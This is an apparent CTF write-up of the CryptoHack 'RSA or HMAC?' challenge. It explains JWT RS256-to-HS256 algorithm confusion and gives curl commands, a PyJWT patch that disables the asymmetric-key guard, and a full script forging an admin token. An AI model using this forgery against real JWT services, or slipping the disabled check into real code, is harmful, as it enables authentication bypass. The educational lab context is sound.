RSA or HMAC?
RSA or HMAC?
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: hmac_with_public_key_forgery, jwt_algorithm_confusion, library_patching, rs256_to_hs256_key_confusion
Summary
Walkthrough of the CUSTOM Web RSA or HMAC?. Task: JWT auth where jwt.decode accepts both HS256 and RS256 using the same RSA public key, which is exposed publicly. Solution: algorithm confusion (CVE-2016-5431) — forge an HS256 token using the PE
Description
RSA or HMAC? There's another issue caused by allowing attackers to specify their own algorithms but not carefully validating them. Attackers can mix and match the algorithms that are used to sign and verify data. When one of these is a symmetric algorithm and one is an asymmetric algorithm, this creates a beautiful vulnerability.
The server is running PyJWT with a small patch to enable an exploit that existed in PyJWT versions <= 1.5.0. To create the malicious signature, you will need to patch your PyJWT library too. If you want to patch, look at the line that was added in the fix for the vulnerability. Use pip show pyjwt to find the location of the PyJWT library on your computer, and make the edit. For versions of PyJWT > 2.4.0 the code has been changed so you will have to edit jwt/utils.py instead of jwt/algorithms.py
English summary: The server issues RS256-signed JWT session tokens and exposes the RSA public key. The /authorise/ endpoint verifies tokens accepting BOTH HS256 and RS256 with the same public key as the verification key. The goal is to forge a token with admin: true to retrieve the flag.
Analysis
Relevant server source:
python read-only • copy allowed@chal.route('/rsa-or-hmac/authorise/<token>/') def authorise(token): decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256']) if "admin" in decoded and decoded["admin"]: return {"response": f"Welcome admin, here is your flag: {FLAG}"} ... @chal.route('/rsa-or-hmac/create_session/<username>/') def create_session(username): encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256') return {"session": encoded} @chal.route('/rsa-or-hmac/get_pubkey/') def get_pubkey(): return {"pubkey": PUBLIC_KEY}
Root cause (JWT algorithm confusion / key confusion — CVE-2016-5431):
jwt.decode accepts both a symmetric algorithm (HS256/HMAC) and an asymmetric
one (RS256/RSA) while passing the SAME RSA PUBLIC_KEY as the verification
key. The attacker controls the alg header field of the token. The RSA public
key is not secret — it is published via /get_pubkey/.
So the attacker:
- Takes the public key (known to everyone).
- Forges an
HS256token using that public key as the HMAC shared secret. - The server, seeing
alg: HS256, verifies the HMAC using the public key it holds — which is exactly the secret the attacker used. Verification passes and the forgedadmin: trueclaim is trusted.
Modern PyJWT (the fix for this CVE) blocks using a PEM/asymmetric key as an HMAC
secret. PyJWT's HMACAlgorithm.prepare_key calls is_pem_format() and raises
InvalidKeyError("The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret."). The challenge ships a server with this
check removed; to FORGE the token locally we must remove it on our side too.
Solution
Step-by-step:
1. Get the RSA public key.
bash read-only • copy allowedcurl -s "https://web.cryptohack.org/rsa-or-hmac/get_pubkey/"
The PEM is -----BEGIN RSA PUBLIC KEY----- ... -----END RSA PUBLIC KEY-----
ending with a trailing newline (the server reads it from a .pem file).
2. Patch local PyJWT to allow a PEM key as HMAC secret.
Find PyJWT version and location:
bash read-only • copy allowedpip show pyjwt python3 -c "import jwt, os; print(os.path.dirname(jwt.__file__))"
For PyJWT > 2.4.0 (here 2.10.1) the asymmetric-key guard lives in
is_pem_format() in jwt/utils.py. Patch it to always return False so the
HMAC prepare-key check is bypassed:
python read-only • copy alloweddef is_pem_format(key: bytes) -> bool: return False # patched for rsa-or-hmac challenge
(For PyJWT <= 2.4.0 you would instead edit the is_pem_format check in
jwt/algorithms.py HMACAlgorithm.prepare_key.)
3. Forge the HS256 token using the public key bytes as the HMAC secret.
CRITICAL: the secret must be the public key bytes EXACTLY as the server has them,
including the trailing newline — the server reads the PEM from a file that
ends in \n. Without the trailing newline the server returns
Signature verification failed.
python read-only • copy allowedimport jwt pubkey = "-----BEGIN RSA PUBLIC KEY-----\n...\n-----END RSA PUBLIC KEY-----\n" # byte-exact, trailing \n token = jwt.encode({"username": "admin", "admin": True}, pubkey, algorithm="HS256") print(token)
Header produced: {"alg":"HS256","typ":"JWT"}.
4. Submit the token.
bash read-only • copy allowedcurl -s "https://web.cryptohack.org/rsa-or-hmac/authorise/<token>/" # {"response":"Welcome admin, here is your flag: crypto{REDACTED}"}
5. Restore the PyJWT patch afterwards.
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 # Requires PyJWT patched so is_pem_format() returns False (jwt/utils.py for PyJWT > 2.4.0). import jwt import requests BASE = "https://web.cryptohack.org/rsa-or-hmac" # 1. Fetch the RSA public key exactly as the server stores it (keep the trailing newline!) pubkey = requests.get(f"{BASE}/get_pubkey/").json()["pubkey"] if not pubkey.endswith("\n"): pubkey += "\n" # server reads PEM from a file that ends in \n # 2. Forge an HS256 token using the public key as the HMAC secret token = jwt.encode({"username": "admin", "admin": True}, pubkey, algorithm="HS256") print("[+] forged token:", token) # 3. Authorise as admin r = requests.get(f"{BASE}/authorise/{token}/") print(r.json())
Key Takeaways / Lessons
- Mastering hmac_with_public_key_forgery, jwt_algorithm_confusion, library_patching, rs256_to_hs256_key_confusion was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-21 • CUSTOM • RSA or HMAC? • Difficulty: Medium